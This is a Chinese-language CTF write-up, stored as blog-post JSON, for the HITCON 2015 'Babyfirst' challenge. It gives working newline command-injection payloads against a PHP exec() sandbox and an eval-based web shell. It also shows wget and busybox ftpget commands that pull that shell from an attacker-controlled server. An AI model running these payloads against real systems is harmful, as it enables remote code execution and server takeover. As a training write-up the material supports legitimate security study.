{"id":925,"date":"2023-01-27T12:52:48","date_gmt":"2023-01-27T04:52:48","guid":{"rendered":"https:\/\/fushuling.com\/?p=925"},"modified":"2023-07-31T14:45:50","modified_gmt":"2023-07-31T06:45:50","slug":"hitcon-2015babyfirst","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/01\/27\/hitcon-2015babyfirst\/","title":{"rendered":"[HITCON 2015]Babyfirst"},"content":{"rendered":"\n<p>HITCON babyfirst\u4e09\u90e8\u66f2\u7b2c\u4e00\u90e8QQ<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n    highlight_file(__FILE__);\n\n    $dir = 'sandbox\/' . $_SERVER&#91;'REMOTE_ADDR'];\n    if ( !file_exists($dir) )\n        mkdir($dir);\n    echo $dir.\"\\n\";\n    chdir($dir);\n\n    $args = $_GET&#91;'args'];\n    for ( $i=0; $i&lt;count($args); $i++ ){\n        if ( !preg_match('\/^\\w+$\/', $args&#91;$i]) )\n            exit();\n    }\n    exec(\"\/bin\/orange \" . implode(\" \", $args));\n?> <\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u89e3\u91ca\u4e0b\u6e90\u7801\uff0c\u4e00\u5982\u65e2\u5f80\u7684orange\u98ce\u683c\uff0c\u7b2c\u4e00\u6b65\u90fd\u662f\u521b\u5efa<code>sandbox\/ip\/<\/code>\u7684\u76ee\u5f55\uff0c\u7136\u540e\u5207\u6362\u81f3\u8be5\u76ee\u5f55\u3002\u4e0b\u9762\u7684\u4ee3\u7801\u6bd4\u8f83\u5173\u952e\uff0c\u7528ChatGPT\u7ffb\u8bd1\u4e86\u4e0b\uff0c\u5c31\u662f\u9650\u5236\u6211\u4eec\u7684\u8f93\u5165\u4e3a\u6570\u5b57+\u5b57\u6bcd+\u4e0b\u5212\u7ebf\u7684\u683c\u5f0f\uff0c\u7136\u540e\u5c31\u4f1a\u6267\u884cexec()\uff0c\u4f46\u5b83\u524d\u9762\u6709\u4e2a\/bin\/orange\u4f46\u4e0d\u662f\/bin\/bash\uff0c\u4f1a\u5e72\u6270\u6211\u4eec\u540e\u7eed\u7684\u547d\u4ee4\uff0c\u4f46\u8fd9\u4e2a\u597d\u89e3\u51b3\uff0c\u6362\u884c\u7b26\u5373\u53ef\uff0c\u6240\u4ee5\u6211\u4eec\u7684payload\u7684\u6700\u524d\u9762\u5fc5\u987b\u662f?args[]=xxx%0a\uff0c\u8fd9\u6837\u624d\u80fd\u7ed5\uff0c\u540e\u9762\u5c31\u662f\u6211\u4eec\u81ea\u7531\u6267\u884c\u547d\u4ee4\u7684\u65f6\u523b\u4e86\u3002\u505a\u6cd5\u6709\u4e24\u79cd\uff0c\u5148\u4ecb\u7ecd\u6211\u590d\u73b0\u6210\u529f\u7684\u8fd9\u79cd\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u65b9\u6cd5\u4e00\uff1awget\u4e0b\u8f7d\u6587\u4ef6+php\u6267\u884c\u4ee3\u7801<\/h2>\n\n\n\n<p>wget\u4e0b\u8f7d\u6587\u4ef6\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u8bf4\u4f60wget url\u53ef\u4ee5\u4e0b\u8f7d\u67d0\u4e2a\u7f51\u7ad9\u7684index.html\uff0c\u8fd9\u91cc\u6211\u4eec\u4e5f\u53ea\u80fd\u8fd9\u4e48\u5229\u7528\uff0c\u56e0\u4e3a\u9650\u5236\u4e86\u8f93\u5165\uff0c\u4e0d\u80fd\u6709\/\u4e86\u3002\u8fd8\u6709\u4e2a\u95ee\u9898\u5c31\u662fip\u6bd4\u5982127.0.0.1\u8fd9\u79cd\u683c\u5f0f\u662f\u6ca1\u6cd5\u4f20\u7684\uff0c\u7528<a href=\"http:\/\/www.metools.info\/other\/ipconvert162.html\">\u5341\u8fdb\u5236<\/a>\u8f6c\u5316\u4e00\u4e0b\u5373\u53ef\u3002\u63a5\u4e0b\u6765\u5c31\u662f\u8fd9\u4e2aphp\u6267\u884c\u4ee3\u7801\uff0c\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u7528php\u547d\u4ee4\u5c31\u53ef\u4ee5\u4ee5php\u7684\u683c\u5f0f\u6267\u884c\u67d0\u4e2a\u975e\u538b\u7f29\u7684\u6253\u5305\u7684PHP\u6587\u4ef6\uff0c\u8fd9\u6837\u5c31\u4e0d\u7528\u8003\u8651\u540e\u7f00\u4e86\uff0c\u4e3e\u4e2a\u4f8b\u5b50\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-94.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"380\" height=\"131\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-94.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-926\"  sizes=\"auto, (max-width: 380px) 100vw, 380px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u6ca1\u6709\u540e\u7f00\u7684test\u6587\u4ef6\u90fd\u88ab\u4ee5php\u683c\u5f0f\u89e3\u6790\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u7a81\u7834\u53e3\u5e94\u8be5\u5c31\u663e\u800c\u6613\u89c1\u4e86\uff0c\u5c31\u662f\u5728\u90a3\u4e2a\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7wget url\u4e0b\u8f7d\u5230\u7684index.html\u91cc\u653e\u6076\u610f\u4ee3\u7801\u7136\u540e\u5c06\u5b83\u7528tar\u6253\u5305\u4e00\u4e0b\uff0c\u56e0\u4e3atar\u6253\u5305\u540e\u5c31\u6ca1\u540e\u7f00\u4e86\uff0c\u7136\u540ephp\u6267\u884c\u5373\u53ef\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#index.html\n&lt;?php\nfile_put_contents('shell.php', '\n&lt;?php\nheader(\"Content-Type: text\/plain\");\nprint eval($_POST&#91;\"cmd\"]);\n?>\n');<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u628a\u8fd9\u4e2aindex.html\u653e\u4f60vps\u4e0a\uff0c\u81ea\u5df1\u672c\u5730\u8bd5\u8bd5\u80fd\u4e0d\u80fdwget url\u76f4\u63a5\u4e0b\u8f7d\u5230\u3002<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765\u76f4\u63a5\u6309\u987a\u5e8f\u8f93\u5165payload\u5373\u53ef\uff0c\u8be6\u7ec6\u89e3\u91ca\u53ef\u4ee5\u770b\u8fd9\u4e2a\u5e08\u5085\u7684:<a href=\"https:\/\/blog.spoock.com\/2017\/09\/09\/Babyfirst-writeup\/\">Babyfirst\u7684\u5206\u6790\u548c\u89e3\u7b54<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url\/?args&#91;]=xxx%0a&amp;args&#91;]=mkdir&amp;args&#91;]=exploit   #\u521b\u5efaexploit\u6587\u4ef6\u5939\nurl\/?args&#91;]=xxx%0a&amp;args&#91;]=cd&amp;args&#91;]=exploit%0a&amp;args&#91;]=wget&amp;args&#91;]=3232275969 #\u8fdb\u5165exploit\u6587\u4ef6\u5939,\u4e0b\u8f7d192.168.158.1\u7684index.html\u6587\u4ef6\nurl\/?args&#91;]=xxx%0a&amp;args&#91;]=tar&amp;args&#91;]=cvf&amp;args&#91;]=archived&amp;args&#91;]=exploit  #\u5c06exploit\u6587\u4ef6\u5939\u6253\u5305\u4e3aarchived\u6587\u4ef6\nurl\/?args&#91;]=xxx%0a&amp;args&#91;]=php&amp;args&#91;]=archived  #php\u89e3\u91ca\u6267\u884carchived\u6587\u4ef6<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u8fdb\u5165\u4f60\u9898\u76ee\u6c99\u7bb1\u7684\u4f4d\u7f6e\u6267\u884c\u547d\u4ee4\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-95-1024x642.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"642\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-95-1024x642.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-927\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u65b9\u6cd5\u4e8c\uff1a\u5229\u7528busybox\u4e2d\u7684ftpget\u547d\u4ee4\u8fdc\u7a0b\u4e0b\u8f7dftp\u670d\u52a1\u5668\u91cc\u7684\u9a6c<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>busybox ftpget -u ftp\u7684\u7528\u6237\u540d -p ftp\u7684\u5bc6\u7801 ftp\u5730\u5740 \u9700\u8981\u4e0b\u8f7d\u7684\u6587\u4ef6\u540d<\/code><\/pre>\n\n\n\n<p>\u56e0\u6b64\u6211\u4eec\u53ea\u8981\u5728\u81ea\u5df1\u7684vps\u4e0a\u642d\u5efa\u4e00\u4e2aftp\u670d\u52a1\u5668\u7136\u540e\u6267\u884c\u547d\u4ee4\u5373\u53ef\u4e0b\u8f7d\u6728\u9a6c\u5373\u53ef\uff0c\u6bd4\u5982\u4f60\u60f3\u4e0b\u8f7d192.168.158.1\u4e0a\u7684webshell.php\uff0c\u5b83ftp\u7684\u8d26\u53f7\u5bc6\u7801\u90fd\u662f123\uff0c\u7528\u5982\u4e0b\u547d\u4ee4\u5373\u53ef\uff0c\u5f53\u7136ip\u8fd8\u662f\u8981\u7528\u4e4b\u6c14\u90a3\u4e2a\u5341\u8fdb\u5236\u5de5\u5177\u8f6c\u5316\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url\/?args&#91;]=xxx%0a&amp;args&#91;]=busybox&amp;args&#91;]=ftpget&amp;args&#91;]=%2du&amp;args&#91;]=123&amp;args&#91;]=%2dp&amp;args&#91;]=123&amp;args&#91;]=3232275969&amp;args&#91;]=webshell.php<\/code><\/pre>\n\n\n\n<p>\u5077\u61d2\u7684\u8bdd\u53ef\u4ee5\u76f4\u63a5\u7528python3\u91cc\u7684pyftpdlib\u6a21\u5757\u8d77\u4e00\u4e2aftp\u670d\u52a1\u5668\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -m pyftpdlib - p 21 -u 123 -P 123<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-96.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"658\" height=\"126\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-96.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-928\"  sizes=\"auto, (max-width: 658px) 100vw, 658px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u6837\u5c31\u5728\u8be5\u76ee\u5f55\u8d77\u4e86\u4e00\u4e2a\u8d26\u53f7\u548c\u5bc6\u7801\u90fd\u4e3a123\u7684ftp\u670d\u52a1\u5668\uff0c\u7136\u540e\u5728\u8fd9\u4e2actf\u76ee\u5f55\u4e0b\u653e\u4e00\u4e2a\u5e26\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684webshell.php\u5373\u53ef\u3002\u4f46\u6211\u5728\u817e\u8baf\u4e91\u4e0a\u8d77\u7684\u65f6\u5019\u53d1\u73b0\u4f7f\u7528ftpget\u53ea\u80fd\u7528ip+\u7aef\u53e3\u7684\u5f62\u5f0f\u624d\u80fd\u8fde\u63a5\uff0c\u8fd9\u6837\u5c31\u6ca1\u6cd5\u7528\u5341\u8fdb\u5236\u8f6c\u5316\u4e86\uff0c\u800c\u4e14\u8fde\u4e0a\u53bb\u4e86\u4e5f\u6ca1\u6cd5\u4e0b\u8f7d\u6587\u4ef6\uff0c\u8fc7\u4e00\u4f1a\u513f\u5c31\u65ad\u4e86\uff0c\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u817e\u8baf\u4e91\u7684\u95ee\u9898\uff0c\u6211\u4e5f\u6ca1\u7814\u7a76\u660e\u767d\uff0c\u4e0d\u8fc7\u8fd9\u6837\u5e94\u8be5\u662f\u884c\u7684\u901a\u7684\uff0c\u6bd5\u7adf\u662f\u9884\u671f\u89e3\uff0c\u5177\u4f53\u53ef\u4ee5\u53c2\u8003\u8fd9\u4f4d\u5e08\u5085\u7684\uff1a<a href=\"https:\/\/www.cnblogs.com\/baola\/p\/16587936.html\">2015 HITCON BabyFirst-\u590d\u73b0<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>HITCON babyfirst\u4e09\u90e8\u66f2\u7b2c\u4e00\u90e8QQ \u7b80\u5355\u89e3\u91ca\u4e0b\u6e90\u7801\uff0c\u4e00\u5982\u65e2\u5f80\u7684orange\u98ce\u683c\uff0c\u7b2c\u4e00\u6b65\u90fd\u662f\u521b\u5efas [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-925","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/925","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=925"}],"version-history":[{"count":1,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/925\/revisions"}],"predecessor-version":[{"id":929,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/925\/revisions\/929"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}